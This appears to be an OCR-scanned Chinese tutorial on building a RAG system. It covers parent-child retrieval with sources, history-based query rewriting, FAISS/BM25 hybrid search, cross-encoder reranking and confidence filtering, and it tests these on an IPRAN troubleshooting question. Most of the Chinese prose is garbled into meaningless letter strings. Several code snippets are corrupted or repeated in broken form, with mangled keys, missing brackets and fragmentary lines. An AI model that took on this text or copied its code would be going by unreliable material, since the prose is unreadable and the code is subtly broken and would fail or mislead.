i, EEESHEEHERNYL, SIENSR
SRENEFER. SHECAREEREES
2025 B3R B FRIPRANS MBS 2 E5E
FEEHLE, BT RWASRIEATHRASHY,
BSTREEZRED. IREISHIN, FE2

HEESHOMER..

4.723: BESHEEL (EZ85): B
), AR AREEHESEONITE
FiEz, ENRRSEESSNYTE. Nt
BREHEZ RESHE, BLERERIS

= Aoopbpyceo A —7op  ssconco—bas

RELIHRSFGRINSAEAERIR -

5.1.2 3 HAY

o ERERAGKERLERAWHIZS ERIZIE,
o IERRIOIERRINEERVSCINRIE,

o BERTNEKRR, IRAAIRZHAEESZE,

5.1.3 EBEAL

STERAGERZ TIZUEEE o

BT RERNABTSRREEIEN, AREEEITHITRR.
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5.2 SLIGR(E

AEWBEEH 2 MF5, rag.py FIRMHEIA index-html,
5.2.1 SEIHEEKIFERIAAS

7E rag.py BIACR, M2 AISRERAOM A cIRBRtH ER SRR
S IS RERERE

1d json.dumps({"content": "Ex LEHF '}, ensure_ascii=

docs = faiss_db.similarity_search(query,k=3)

f CHUNK_METHOD _child":
retrieval = list(set([doc.metadata["parent cont

retrieval = [doc.page_content for doc in docs]

ld json.dumps({“retrieval”: retrieval}, ensure_ascii=

#H - FEREK R ------------
# if CHUNK_METHOD == "parent_child":# X F5ER5RRS, BamariE

# retrieval = list(set([doc.metadata["parent_content"] for doc in docs]))
# else:
# retrieval = [doc.page_content for doc in docs]

WTE:

L8] 2 W FEIIUERRIRAYL

#mmmmmee MEER, MIEREIABURER, BNRXFEREITISHRGIE, BIESE [ EEFEER
B, SRR TE] -
retrieval = []

exist_items = set()
for doc in docs:

content = doc.metadata["parent_content"] if CHUNK_METHOD=="parent_child" else
doc.page_content

source = doc.metadata['filename']

key = (content, source)
if key in exist_items:
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continue

retrieval.append ({
"content": content,
"source": source

)

exist_items.add(key)

# IRERRIR

WNTE:

retrieval = []

exist_items = set()

for doc in docs:
content = doc.metadata[ “parent ntent”] if CHUNK_METHOD=="parent
source = doc.metadata[’'filenams

key = (content, source)
if key in exist_items:

retrieval.append(
"cor t": content,
": source

)

exist_items.add(key)

BRI T :

# M —1 =9Ik, BFFERE [ EEEIMTRER ]
retrieval =]
# A —1ES, BTHeR [ EE&FEAEERE ] , FIRESIFEIIREE

exist_items =set()

# IBAFBRERIRERIIESIZE docs
for doc in docs:
# TRIE D PR AR {E A A

# WMEERXFHHERX (CHUNK_METHOD=="parent_child") , BN XN B
pa rent_content
# BNEZEHEFISRAIREAS page_content

content = doc.metadata["parent_content"] if CHUNK_METHOD=="parent_child"
else doc.page_content

# MSHETTEIRFIREBRR NS ( RRZAETREMA )
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source = doc.metadata['filename']

# B (RSB, KEXMH) EAE—RR key, BR [ A—HHIE—RASTES HN |

key = (content, source)

# WRXN key BEEFETESH, WHEESHE, PIIME
if key in exist_items:

continue

# BAEENXERSTIRIFIERFE, INARELERYIE
retrieval.append({
"content": content, # MISIENAR

"source": source # MHRIEXES
)

# 1B580 key IMACFEES, NCHENHE, BREEESE
exist_items.add(key)

I 3 (EX rag.py F retrieval TE
£ L@ retrieval FIFRTEF, FHEIEFHEFENEIRE, NRRKEUCRASEEAKNIRE,
TEMEBMAERT :
context_text = chr(10).join(retrieval)

EEBNTXEHRE, (ZX5UT:

ld json.dumps({"retrieval”: retrieval}, ensure_ascii=

context_text = chr(10).join([d[ 'content for in retrieval])

resp = client.chat.completions.create(
model="quer ]

TR E T ASIRENAIEER, EHIAEN retrieval 81 tZ=AY conten AR

# context_text = chr(10).join(retrieval) #HRIIERFIERT, ZITRIDEEE R
context_text = chr(10).join([d['content] for d in retrieval])
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5.2.2 BUimxIERAYSEIFFR;

£ hcie_rag_code/template/index.html FFRBEIRIRIIAS , TS rag.py IR[EIAY source =7
EBRREHXK,

I 1 (EMETHEIZA index.html

FREEZBIRY html =

document . getElementByTd(

TIZ1T, ERNREE ctri+/BIeERE,

| // const html = data.retrieval.map(x => "<div class="retrieval-item">${x.slice(0,300)}..</div>").join("")

£ index.html FZANGN TLAD ( SERRRMEAY html BIAESEEL, MFBERRIAT) -

rieval

i
document . getElementById(

18 L EMEFRIXKIEEROERE (FEAzXIER9RIHRCIBA ctri+/BInT ) , ZEPnCimERT:
/] 1. EXEE html, FHAVGIBEERYIER

const html = data.retrieval. map(x =>"

/] 2. B—RIERER, B class=retrieval-item A9 div B2

<div class="retrieval-item">

// 3. EENHEINIEAAE] 300 FF, EEH LEIES..
${x.content.slice(0,300)}...

/] 4. MTURIT

<br>

/] 5. INSTFR, RIEE. FUR, BRSUERIFEHE

<small style="color: #6BA9E2; font-style: italic;"> ¥ Ki&: ${x.source}</small>
/1 6. AEZRIRA div

</div>
/] 7. ¥ map E£REBIFFE html FE;, Ts&HER— T2 =R
7). join("")

=G, e ctri+s #HTRE
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B ctri+c FIEZBIRIBRSS , RIBBIAARES

RAG ZEMaigit 55k

28431

2 2R ctrl+c, AR

python rag.py

*ﬁﬁﬁ"ﬁﬁﬁlr’pﬁﬁ}: BINNGHERE: £ IPRAN HE

BEERZET, BIERIHRO~E LOS &

, FARNBEERSWSELEMAERESE, RRASUTIE? XFPMESTUAIRIMTTER

LJZE'H'/ ‘
Al NN S,
AERmFEMEEEEI W FAINE:
RAG BHRIZ RS
- D _ERE
#E IPRAN SEFRERSS, HPEEROE 105 52, FNSEESISEHR 2
KRMIRESS, ROSUTNE? XMANEF RSN A? IPRAN (IP Radio Access Network) BDIP{L
FEBAR, RASEARNELSHZOR
P - . - Wigh, ENATFER. HREEEN
PRAN SLERBSREGREAE) , SRRSO 0s SHERE sl B gl B

BEESWESEASRESZNER, RFNNESARKENNNT:

Peab S =

RRE: RRSBVERRON L0S 58 (MHFEHR—PIRIIRI81a4:
PRESEL W L0S ) AN RASEHFLURE.

HEEG: BRNFENRES (IRERAESE) SWSE (PWE
EFaA) SEHEAIRESS™, T ERRE LR,

PG~ REBEN X £EREE ((IVERREESS
[EZERONT, TRAEREEEIRESE.

ERYRSCRA

. N

HER BRI ENAFIEEN, IPRAN
RENWECCETUY X, RTHRIE,

ERSERAENSTEARES, IRE, XB
58 ERHTNFERNERLE, 28
HoEnERASE, BNEEARNTE
8, BEESSCEHENT, HPREER
SEBOAFPAER. FHCHRBREE

2025F B AFHRIPRANSERBESER
REEIE, BT RWASBIEATHEASY,

BATRIZEE. RESAN, EE2
HEREsE \FAE0

5.3 BEW

B SRS AR A FF?
sEEz:

PR EEHIENGT, THREEARASOSESE, MEESMAE, BeARREN
=3

EFXRE: FRERGDE, ERRLRAEIR, AFRELTY, MO

EREETE: WESRE. TRRMSESHR, BERTIREE, BEEFH,

BIRSIREE: AEREKASHAED, SRR, BRSERAT, SRS USRS
B GHHESRAIR, BT, ARSI,

5.4 LIS/ )\

IREERGSLH Y RAG [BIBHSERKRZIINGE, 5
RURENE T RAG SR AR TR TSIE

TRIEAERESHIERE,
— RIS BRERRRTES

TEEAT SRR . BRUEH

X, RInsemtER, BhlSE SRR,
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6 s

6.1 LIS/ M8

6.1.1 XFASCLE
AL BRI EE TN t. SEETATEES E TN, B2 HIENE
5. BRAFA. DU NEFORE,, ASCISEISINBAERAIZFICE, MHEaIARERuE T E T
IEEENAR, £, BENEERDG, 2R3 = Y RAG KEYER .

6.1.2 LIS BARY

o ZERERZWMNETFHN LT IEBESETaNEFHE,

o IBEEH P IZEEINE A SRIFSE(ER .

o EIUSIEH. 1IEXMTERLDR, B uEins FIKEGEIERZR,
6.1.3 SCIGHRK

BSEESEMEEFIE, REAFHREOEAS; HXRt LR ERE, SahEnd
BN EHRROE; ERNERRINENTHTHIRENR, KEINEEINEREER
£

6.2 SCUGIRME

6.2.1 HifE
£ rag.py BIARRINE AN SHICIEHIER
L’ 5E&H ragpy
BID— rag AR, AFERLEITHTIREG . 7E Terminal ZiRHAIT:

| cp rag.py rag_base.py

oEIEIT vs code RE_EHITEFIED -
IR 2 i&h0 query BB
£ rag.py B9 rag BRE BRI RGO T
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def rewrite_W|th_h|story(query: str) -> str:

ERHEME, BEIKR/IERTR — TaEEAGRAER

if not chat_history or len(chat_history) == 0:
return query # J[ASE, EZIR[OIEERT

# PHERIE 3HEE (BFLEEK)

history prompt=""

# print("XHERSE", chat_history)

history_ga = chat_history if len(chat_history) <=3 else chat_history[-3:]

for h in history_ga:
history_prompt+= f"FP: {h['question']}\n BAZF: {h['answer']}\n"

prompt=f"""
RZ RAG HRMIENF .
RIEHSEXNE, ESRAFPNEENE AT, Mz, FTHECAEE
St EENEE, FESRAS.
WMRBENES SRITRELKEK, ERMEHEHERNS .
HSERSE:
{history_prompt}

HBIER: {query}

HEE:
" strip ()

# AR
resp = client.chat.completions.create(
model="qwen3.5-plus",

messages=[{"role": "user",
stream=False

content": prompt}],

return resp.choices[0].message.content.strip ()

SR 3 FINERSE
£ rag.py FRIRICEEL stream_wrapper HZRINGNTRD:

print(f" [RAIEJR:\n{query}")

rewrite_query = rewrite_with_history(query) #query E5iEH
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print(f' XS fRIEE:\n{rewrite_query}")

for data_str in gen_func(rewrite_query):##i&

# for data_str in gen_func(query):#;}%%}é

2846T0

RABINT:

f stream_wrapper(query, mode, gen_func

full_text =
retrieval_data = []

}

print (" [E&0IEE: \n{query}")
rewrite_query = rewrite_with_history

print( =i : \n{rewrite_query

data_str in gen_func(rewrite_que

1 data_Str + \N

1EfTM

i

(query)

)

ry):

B ctri+c FIEZBIRIBRSS , RIBBIRARERE 2K ctri+co AR

python rag.py

ERlimFREEE 1 MafE “7E IPRAN &
EjBLLglilL&FHjBujCEIEEEE=, E3
Qw27

ZEBERSSH, EYPERROFSE LOS 2, [

FHLUMTLLE?

XA IETS TARIERIUS T SN2t

ERE—1EIE, BTIRBHEMECR, il query FigBEZEMH:

Press CTRL+C to qu1t

h, SPEESLO™E 105 B
F, EEER0™4E s 5,

@0
* BERNEE Embeddmg @
172.31.65.217 - - [11/May. ’Zﬂzb 11:44:21] "POST /stream_chat HTTP/

AIEEBIEISE 2 NMERR: (FEHARIN?
172.31.65.217 - - [11/May/2026 11:44:21] "POST /stream_chat
[E&iclE:

a4

XSE0IE:

E3 IPRAN HEFEEEGINEEROTE 105 SERNREESUESEHIARREZZHME

1.1" 200 -

HTTP/1.1" 200 -

172.31.65.217 - - [11/May/2026 11:47:39] "POST /stream_chat HTTP/1.1" 200 -

SEEIEIME? RN RSN 2442

20k RS AR SNRH4

EATREETAN, Fatt42802
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ERTETE 1 NIRRINEER
AT LA R AR ERERIEER -

6.3 BEm
B X: RAG FEHENEHIERSE NLILEIRAHLL?

Py Va1
SEZLE:

EUNERTMCRFRREE, #RER. BE. EXERTRIMGRRE. —=27'5, b
RERXAKIE. TUEERE, HRRRLEEE, ——RIFHDSEERG, MEAZSFRNIFE
HDENEER; =REMMRIRIAE (HyDE) , FAREEMINERIZENAMESENER, BFHEX
MNFE. NERORBEEWESESEK, BOTXEE, FMEREFED, B IEE
R, FIEEEWE RS,

6.4 SCUG/\2E

RREESEM T ETHRAEN LT NENEINRE, BRBRSEIEEARNE. B A2
ROIERE, KIBRRASHITRICTEE, ZiE 7 XA RAG BB %,
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7.1 SCRGN 4R

7.1.1 EFARELLG

ALEHIMERP—RENRFERLAZ. BEERERTR, FEREGKRIIMN. X
BEIRRSENOSRETIL I, RN EEESIE MEITERINE, IRANE—aR
HIVRIERRE, SERAATRER ERER

W, BeERGALERERIKRTAS!

C AFE2 10.175221.73:7861 4 ®
LI MRS

TR2AREHA p
. IPRAN (IP Radio Access Network) BDIP{K
FERAR, BESBARSBVSHEOE

R A, |~ 7R REH A, SRRt L T
SEB AR PON-+IPRANRA FEURES, BIESGIVE

il B o MBI, IPRAN
NRFERIZRS ™ IRHARIFANRT IPRAN SBEREFRE (IRA, Ik R WO 4. i me,

EE HR’J%%‘""HP“‘J%‘MU) LUR TimeXer EENERBLE (G)FF), SiFE TR A M. W SRt
ARG HETIRR T s, ERAGHYEANERNE, 29

2. "LRANSRE: PR TR T S AREATHRASY, 8
SEMEBEREG.... OISR, (UBTABZEARBINARRRSS, 82
RISSIEFFROSEXAE, PABIIERANREAERREREE",

3. "RERET: AT SEEENN B RN BEINT: BER, FRIHA

Hﬁﬁ?fﬁ';‘ﬁ*ﬁ Enn ‘ﬁAmB‘JI‘E

zoﬁs::%?nfsrfa-jwamg FIE

:%f'
FRRERNETRGIIE, RHTIENFRA 722 WWAIEN, FREHTE, BT ARIEATHE AR,
Ay S Al HATREBEE. REEMN, Fae
EEFW 722 0RIIE Y . RENEZEWARSENR SR SEEISIIEN HEEEROFAEEIR.

D |’

7.1.2 L3 HAY

o EEOENRSXBIIRIIEMIRSNRR.
o HEEmBEANRAMSFRIESEREZE.
o EFoBEUBSNRSIME, BASRITHR. TEWAEITIBLEIES EfRt.

7.1.3 SCIGFLK
B R EEEAN RS BN SN EREED;
B Ea o SHEFEREE, WRBERERHITEFHF. X5;
BEFREINERERHARE RAG I Mk,
BERRIEEE:
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iBAhybrid_search A\[d

v

EWEH: faiss_db. query. k=3

v

i 1Tcreate_hybrid_retriever(faiss_db

v v
B2 ZR2E aiss_retriever BM251:2828bm25_retriever
faiss_db.as_retriever(search_kwargs= get_bm25_from_faiss(faiss_db, k=k)

A A

{5l {kEnsembleRetriever;g &1 52
1032285 R=[faiss_retriever, bm25_re
REERIN[0.6, 0.4]

v

i&[Elensemble_retriever;E &1 E TR

v

EFretriever.invoke(query)HITH &

v

RERANRLERIILTIR

7.2 SCUSR(E

7.2.1 FiEE— retriever.py BYFIAR
f£ retriever.py I AP EFHIR SR RAEXRLE,

SR 1 LI BM25 HZEAVKEERSE

from langchain.retrievers import EnsembleRetriever
from langchain_community.retrievers import BM25Retriever
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def get_bm25_from_faiss(faiss_db, k=3):

M FAISS =REUHFREXAEME BM25

# M FAISS BZprENH ( &IEH )

all_docs = list(faiss_db.docstore._dict.values())

# 195 BM25

bm25_retriever = BM25Retriever.from_documents(all_docs)
bm25_retriever.k = k

return bm25_retriever

55001

£IR 2 LIRS FARIINEHHEZRAEEC

def create_hybrid_retriever(faiss_db, weight_faiss=0.6, weight_bm?25=0.4, k=3):
I'”"ﬁu@;}%é*ﬁ?\: rﬁ]% + BM25||||||

# 1. MEEREE

faiss_retriever = faiss_db.as_retriever(search_kwargs={"k": k})

# 2. M\ FAISS #3%2 BM25
bm25_retriever = get_bm25_from_faiss(faiss_db, k=k)

# 3. IREIAER

ensemble_retriever = EnsembleRetriever (
retrievers=[faiss_retriever, bm25_retriever],
weights=[weight_faiss, weight_bm25],

)

return ensemble_retriever

def hybrid_search(faiss_db, query, k=3):
"ITAMEO: REEER
retriever = create_hybrid_retriever(faiss_db, k=k)

return retriever.invoke(query)

7.2.2 rag.py FH{TIER
£ rag.py FIRIDARIZIE
L1 &9 ragpy HAE
Zin—1 rag BIA, AHEXRLERNHITIRE . 7 Terminal Zim NI T

| cp rag.py rag_base.py

s E BT vs code RE_EHITEHIED
£, 2 FINRERRERESE

BERAME RSN BIRR SR ERRAIS . 7 rag.py BY rag BREH, #hFEal ™UAS:
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faiss_db = files.faiss_db
t faiss_db:
print ("F Tt LTS0S
json.dumps ( ntent": "Bt EEESIEES , ensure_ascii=

retriever port hybrid_search
docs = hybrid_search(faiss_db,query,k=3)
print(f" 2= E5 docs}")

# docs = faiss_db.similarity_search(query,k=3)#TRERIIEEAR, BREERERE
from retriever import hybrid_search

docs = hybrid_search(faiss_db,query,k=3)#EFaIEHRY query L IBLERHITIOER
print(fIREIERLER: {docs}")

ctrl+s RIFLHI
7.2.3 BEEEANEI T
1 =T

B ctri+c (FIEZFIRIARSS, IRIBERAIEEEE 2 /K ctri+c, AR

| python rag.py

RIFTRNRFRE, ERNLFED ‘7 IPRAN SEZEERFTS, EVMERRO~4% LOS &E,
EREERSWSELEMASRESE, RRASUWTLIE? MBS AIEIILTRANLE
Y

[FEBEHERGRRE

DEIRER? RS FRaRRI R e SR 247

AliRAIREAN “7f22 (KRAA” ALARINEE]:
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0 BEnE

PSS A\ R BTGB A FIAA
0, FHECIRMTINRBIGRTGI, 195

7f224$FA T

B

RIB L TSOOSFR5R—: SRTRASES I RSIRESE oA, ~7f22 {F TFREETFPREINAESR, Bk
REERESE S8, T: 58— BRTRESESIRSIRE

| =5, uspmosEn mEE) rt

BHBXESNT: . [Lory-— 2R 1FEFAIMPLS-TP
CeERERC: MERESE KRN BE RSB 2 VB RORTE RS
* eFTRRIE: MPLS-TP Rl EE, RERSMPWILS ST PWER
¢ eismme JRESE (BRGVRSRESE, ME 105 581 3IR) =%, THC, DRESTE WETMES
 ONBRE: ESREGRET, BENSERESE (IVEED Down) | & E, BHFL0RSE, BEEEI, X
LRLREGRE, (UFHRESE, R EBRE0SEOINLOSSRIEHIR

B, BEROFIHIRESE, £BEER
W BEREXFEREE, EEARN
=HERE10SIRONT, AEISFHE

BE, HR°: SRTEESEEH. ¥

»

IREE SRR —REN RS REBMESHEXNAR, B TRETBERR.

7.3 EHZER
B : RAG RZEFRSKERALINZIESHARMHA?

Py V1
SELER:

=

BEENR—RESHERNES BM25 XEENER, D7RENENNEEER. MENHE
KIBIRREIEN, E&1EH. 1BXZEEE; BM25 B XEE. BUAE, RasiE
MERRIE . —EFTREREREEINE T HEH, RIMEN SFHEILE., BtLe—a%,
EDRE .. TREEEIEE, RIHGRIRGERE, RREHFERMEED, £Lliz
. KNAIIRERSSERIEA AR

7.4 SCUG/\2E

RREETeR TR BEHEXATREIREE, SEMMeRAIAINE, BRTE—IERR
B. BENER, EERFHORRE, AEERT RAG REEIZOHMKE R
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8 EHF

8.1 SCGN 48

8.1.1 EFAELIG

AL EBORBEMES . FETR. BRUSERFREE, SINERFFUAAUE.
EREHRREOEM L, BIEHFEERHRE S TR TS =N, fmt
HEWESRAFEREIIAS, RBAHRREE.

8.1.2 LI HAY

o ZEERAGHARHEHIFHNERERMHTR.
o IERESHIFEENSTIRIRRS .. MASHHIRFAITER
o ZFRBUIEHIF ?SE*@JB?EE?&S‘C%, H—ERFHIEERIE SN BEE .

8.1.3 SCIGHL K

BB RSNRALEXEEN; BAREHFEENFEE R FEHITEHR,; WMEsn
LIRS top3 I N KIEBVE R,

8.2 SCUGIR(E

8.2.1 #r#E rerank.py B
BHEFAIEXARBTFE rerank.py BIAH .,

D I —

from langchain.retrievers.document_compressorsimport CrossEncoderReranker
from langchain_community.cross_encoders import HuggingFaceCrossEncoder
from langchain.retrievers import ContextualCompressionRetriever

importos

from dotenv import load_dotenv

load_dotenv()

RERANK_PATH = os.getenv("RERANK_PATH")#3kEX rerank {&EIAIERI2
rerank_model = HuggingFaceCrossEncoder (model_name=RERANK_PATH)

def get_reranker():
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reranker = CrossEncoderReranker(model=rerank_model, top_n=4) # =HFIR[E top 3
return reranker

def rerank_documents(query, docs):

XFHMEO: A query + JFiA docs — IREIEHEFAMEE docs

reranker = get_reranker()
# SHEF

ranked_docs = reranker.compress_documents(docs, query)
return ranked_docs

8.2.2 4 FEiEA RS FHNA
£ rag.py SEMIXSTEHEFAYER o
S 1 RINEHER D
EATF BRI, SHRRBRZIERARERSE:

from retriever import hybrid_search
docs = hybrid_search(faiss_db,query,k=3)

+ B9

print(f"i2 == {docs}")

t rerank_documents

)

enumerate(docs):
—4£-->\n",doc.page_content)

enumerate(docs):
ME-->\n",doc.page_content)

R RINEHER
from rerank importrerank_documents
print("HITEHFRIE...")
print("EHEA---> (EHHRIRFR)")
for i,docin enumerate(docs):

print(f'S8{i}NFIR-->\n",doc.page_content)
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docs = rerank_documents(query,docs)# R F S HRIERFE 23T FHERHY

print("EHEF--->")

for i,docin enumerate(docs):
print(f"%{i}"?ﬂ&-»\n",doc.page_content)

£ 2 m (T
BT ctri+c (ZLEZBIRYARSS, IRIBBINAIEERE 2 )R ctrl+c, REHIA:

python rag.py

um??ﬁ)ﬁhﬁﬁ , MIAMGLERE: 7£ IPRAN HEFHER S+, EWERIROYE LOS &
HHTIL E—'ﬁlL&JitHWcEJEE.:. Z, RRAUORMIE? XM ST IRYERM SRR
AJEH

R[ERHEE ERFFRITERER
BRI

BT S HECIRVE
SHEI---> (BHENE )
Lo FB-->
mR—: %@mﬂé@m“%‘l‘%a’miﬁ?’;’, LBizE1eSikl] (WEE) F‘ﬁ{LOSi“’l (81a4) , ZARIFEIAMPLS-TPREE S EI4
BEEERSE” (7f2) & i WFC, i / =5 ﬁﬂ*?‘:{i =, =R
[ELEA, *‘*W@%B&‘ﬁleqﬁﬂmms ZVELIRA, * 5, £3FE ﬁ'ﬁﬁ BEH BXEEJREE, EEASNE
HEEBigE1eSIR1EI0], ANSIEFHHEEEE,
%1”—!—1;1 ->
HRESRLER: ™EEEDVEE > BEE >1k EBWC%*&HW? LAEERMNEZER HIE, AEEERESZELRA,
Lﬁimﬁgﬁrfﬁ‘ HR—ERHMBSNEE, WHEEZRGHE, BESaZNEARS, REZEEAHT.
AT >
F—, EREBGRSFERN IPRANI@‘E?" WEE-EEE-SE NEREEEIETT, ESZ&E{@&@{E“%EE&KEEI*D;&EE’E"JI?AJ Eh’rt,
UE—RTRE— SRR RS o, RAEHIERS BRTE, [EEZNHIERNIRESE. Fill, JPWe3ss =5
EHRRO0own=Z=EHHIE, MR mDDmm{’Ejﬁﬁ@D PWE3NVSS BT S 2 E iR W AR gﬁﬁléttf“fﬁe'% %Fé@
BHESEZEZEEHE, ASHERESHERSEAERTE, SARSEARESE
FEINFIR-->
4. P CRYEEGEEHFEE (1en#RsEk) . ICRSEALRE, VIANESHIGENE. MBRSE REMRESER, FRESESEN
HEE, FNREFHNSVIANEESK, BEAKERSFEE—
>
S—VIANEE (35 ¥ 5EhE) . RISTPRANISZAIVIANGLRI, Si—FaisfOVIAN ISR, REMREERE—N, 8%
HimREais, IEAIERRVIAN ISR, GFES, SRiE.
MAREEEYE (20 FhANsERE) - EREEE, RiTpinglik, WARSREEEIERE, TF6. BaSNE, FERKEVLANG

. EXEEEATHE, SHA. B, (CANNITRET4"81a4: EABKRESEE"ETE, HPARTTHERMNT
SHEETFRIGE ( RREABLIS, RBELTSiE )
0: BBR7T LOS HEZRA (\WSim=)
1: BRRFRITFHN
2: BRXEBRFIERBEEE
3: VLAN EcEEELE (FEEX )
4
5:

. ZEMITEE SEEA)
D BRI E SR (FNRELEX )
BiCBIERIR: SERM, BENLN, BEREAEAN, Heotl, EHNE;

TEASBACRESEDE: HEEEMN, AN VLAN BERE, ITHEEESsETE
“%;

ERIZSARM: BMNT. SMTHNEERZAIREX VLAN RERFT;
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EZRFIEER, FEROPRZS N FRFEER, BRAERS.
EHfE:

BORBIAIN : TPRANES YR =B /=I5 B RIS 51T, f B TEEES | & EESRE R, Hit,
E—EEER R LS =ht, MERHERES HSE STIFHIERIRESE. Fidl, SPwealSHhiTSES
i oown T ERERHIE, MURER0ownf EARETE, PueaNLSSHERS S RS ; TRERARSETESEE
EHESEETERNHI, AHEBEEHREEAHRRSE, FARSEARESE.
|NTFIR-->
3. IBREFESERER: mRERDVEE > BEE > WSE RIS . HAREROEE i, MERBERESZEALIEA,
2HEE. EE—ERHASNTE, MEZRFIHE, ] .

EE, éssxgalo%ﬁl] (MEE:) F‘ELOS = (81a4) , 13

T

ANRGTREIRI=4"81a4: z%w@rﬁx 5=, HoaRTAIREMNIT
SR BANTTAIS1a4 T ZELIER, B, CRTAIS1a4H AT,
'r@mrﬂiﬁﬁtg

SShk) . HRISIPRANPISSROVLANGERI, S—FRiRAOVLAN IDHIEEEET, RERREERE N, &%
JOIEWBRIVLAN IDHIRZEE, (RFRE, EI=ra

4. %@*‘ ICRMEEEHEE (105#A5EM) . ICREERLERE, VIANEERIGIE, MESE, kENEEER, PREESEA
HeEs, FNEFHTNBVANESSK, RESKEESIHFESE—H.

BHIEFRIFF (Rerank 310HEF, MEBFIROEE )
0: ERXECORBIEREZOMN (IHERE )

1: BRILFERIVE (OB RIKIE)

2: BT LOS IREEEAS (FEEERFRRaZM])
3: ZMTTESELERAS (RZEMFE)
4
5

: VLAN EcE(EE (5518X, FE)
: ORI (551X, BE)
IRBAEHFER

8.3 BEI

[EE: RAG EHFFRIRAWERRTA?

BELE

EHFRKESIORBERYRIE] AR, BT R REsHEER B AP ERS &R
E)Ufﬁ?&fi B HIFFTIRROTXAT. [E. BM25 {HBHEITE, %T?FT

AF. KiBEhR IE@EI@ i, ERFFEEBREIEN RS, BIPRRAEFIR, & L TOREE,
:J"Z DARBERBATRER, IF‘{EEZLJE%-.- iia RS
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8.4 LIS/ |\

ARSEIESERY T RAG EHEFLUIARTE, BIEANI T DRIFSIRTRIRENE, BT
KEBEE, ST RAG BMIEERMIANZ IR .
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9 REREEERH

0.1 LGN A

9.1.1 XFALLE
ARV T EEKRER. SHEEREZE, BT RAG EFNREZRENIENT ., B EHF
BN EEX S SHTREHE, RENREEENE, XWEEEE. HEXISERNETH
ITTIEEIEROIE, BAKIESR. TXERIERRREER, H— A0SR,
9.1.2 LI HAY

o ZEERAGKRRBEEEMEIINZEE.
o IBEEESHEEXIERENTHIZE
o BUEFEEIRIG, BRERREE. M AESHIIREIRSHROZ TR

9.1.3 SCIGFRK
BAEET REKNRSEHIFEENRES S
RESENEEERE, MERFERHTIERE, WRAZEEERENDZUHITIEE,

0.2 SCIGHR{E
9.2.1 #MFEIREEE 2 EAITH

£ rerank.py IZAFHFEHEEEDEAEINES, 1£ rag.py FHITEA.

#---—--FMIE D HNENFFBT [ BEETER] -

def rerank_documents_with_score(query, docs):

HiFgBRME [ FFo5 ] FIEHEFRE!
iR[E]: ranked_docs ( &4 doc &4 .score EiE)

# 1. F&IXd query 1 docs 39 (g2 )
pairs = [[query, doc.page_content] for doc in docs]
scores = rerank_modelscore(pairs) # XBEEFELEEE!
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# 2. BHHHERIFZA doc £

for doc, score in zip(docs, scores):
doc.metadata["score"] = round (float(score), 4) # #4PEDEL

# 3. O HNSEURHF

ranked_docs = sorted(docs, key=lambda x: x metadata.get("score",0), reverse=True)

# 4. FiR[O] top_n
return ranked_docs

#o-FRRITE D HEHF BT [ BEETE ] -
MNTE:

® rerankpy hce_rag code X

f rerank_documents_with_score(query, docs):

pairs = [[query, doc.page_content
scores = rerank_model.score(pairs)

doc, score in zip(docs, scores):
doc.metadata["s e"] = round(float(score), 4)

ranked_docs = sorted(docs, key=1 x: x.metadata.get("score”,8), reverse=

n ranked_docs

9.2.2 ##E score_filter.py FIZS

f£ score_filter.py AP EEFHRIREEEEIIBAILED, 1E rag.py FiFHTER

B score_filter.py FHRNINMRAD, RITEEREHEX D HBVEH FE RIRIES DD
I8, BOANTEIRE ST 05 AR, B RREERNGAAEE,

# score_filter.py

def filter_by_confidence(docs, min_score: float = 0.5):
KEHIFEEETERRELRRER
:param docs: EHEFERY docs (& score )
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:param min_score: FIEEEEFE (0~1)

return: TIEEHERE docs

filtered = []

for doc in docs:
print("iZiERT doc IRES----------

score = doc.metadata.get("score",1.0)

>" doc.metadata)

# EHIFEINEREE

if score >= min_score:
filtered.append(doc)

return filtered

def has_high_confidence(docs, min_score: float = 0.5) -> bool:
N R A R B R

if not docs:
return False

for doc in docs:
if doc.metadata.get("score",1.0) >= min_score:

return True

return False

9.2.3 #M s R CREFH M

£ rag.py LT o HEHF NS EIhaERATE R,

LB 1 (ENEHFIhRERITER
¥ rag.py FEHIFRIXEI S THREEFEZ:

t rerank_documents

from rerank 1in
print("Z{TE
print(

r i,doc in enumerate(docs):
1 M1 F \n" ,doc.page_content)

print(f"&£{i)}

ort rerank_documents_with_score
rerank_documents_with_score(query,docs)

m rerank imp
docs =

7,
n enumerate(docs):
\n",doc.page_content)

print(
i,doc i
print(+"£{i}

~R._ .
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$ LR EHF ARSI :

2613

| docs = rerank_documents(query,docs)# R FH RV EHEF E X FIRMAY

12N

R N “‘EHEFEHEAE BT [BEESR] -
from rerank import rerank_documents_with_score
docs = rerank_documents_with_score(query,docs)#EHHEFEEIAR query
e i “‘EHEFEHEAE BT [EEESR] -

2 AIMEEESEERAE

£ rag.py RN FXEGRINERMNES, EHiFTE, SKERERAT R, #HTIdR:

i,doc in enumerate(docs):

print(f"S&{i}FiE \n",doc.page_content)

print|("BIEE=HIFS ;3 )

from score_filter imp filter_by_confidence, has_high_confidence
min_confidence = 0.5 :

print (" iSEIg======== }========NAIR")

docs = filter_by_confidence(docs, min_score=min_confidence)

print (f" I Li@/5E8========{1en(docs ) }======== i

has_high_confidence(docs, min_score=min_confidence):
ield json.dumps(

: [

, ensure_ascii=

KRBT
T N CBEESE” -
print("RIESHF A R T BEETE- - >")

from score_filter import filter_by_confidence, has_high_confidence
min_confidence=05 # BISEE (0~1)

print(f"ﬁi};ﬁﬁfjﬁ::::::::{[en (d OCS)}========/I\SZ2E1:£")
docs = filter_by_confidence(docs, min_score=min_confidence)
print(f"ﬁi};ﬁfa"ﬁ::::::::{[en (d OCS)}========/I\SZ2E1:£")

# MR SESEEEER — BEERLOER
if not has_high_confidence(docs, min_score=min_confidence):
yield json.dumps({
"retrieval": [{
"content": "FRIXESEEENEXAS, BERBHAIIREZ",
"source": " KBz
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H

}, ensure_ascii=False)

VR 11T o —

£ 3 T

1T ctri+c ZIEZRIRYARSS , RIBEIRATAESRE 2 )R ctri+c, AR

python rag.py

‘ﬁﬁ%ﬁﬁﬁﬂ%m: BNUGHIERR: £ IPRAN SZEEHERSKH, &ERIRO~S LOS &
Z ERBEESISEEMASRESE, RESUMTRME? XFME S KBRS
MEHA?

RERBEBITIREIRIE

—: H—VANEE (GoPhRs
EE ;V“%EL

FEE (105%h

=3: IPRANEERULGE

‘2. BT G vunﬁg n%vfiq.i

: 19,0056}
1;’3,"6'%*- :
2026 19:20:33] "POST /stream_chat HTTP/1.1"

1FEH)§ :ZEEI’JSLIEE',EAZ

0.3 EHE
BlRk: RAG EHIFTREAUEMCEREEEES, W{ascil?
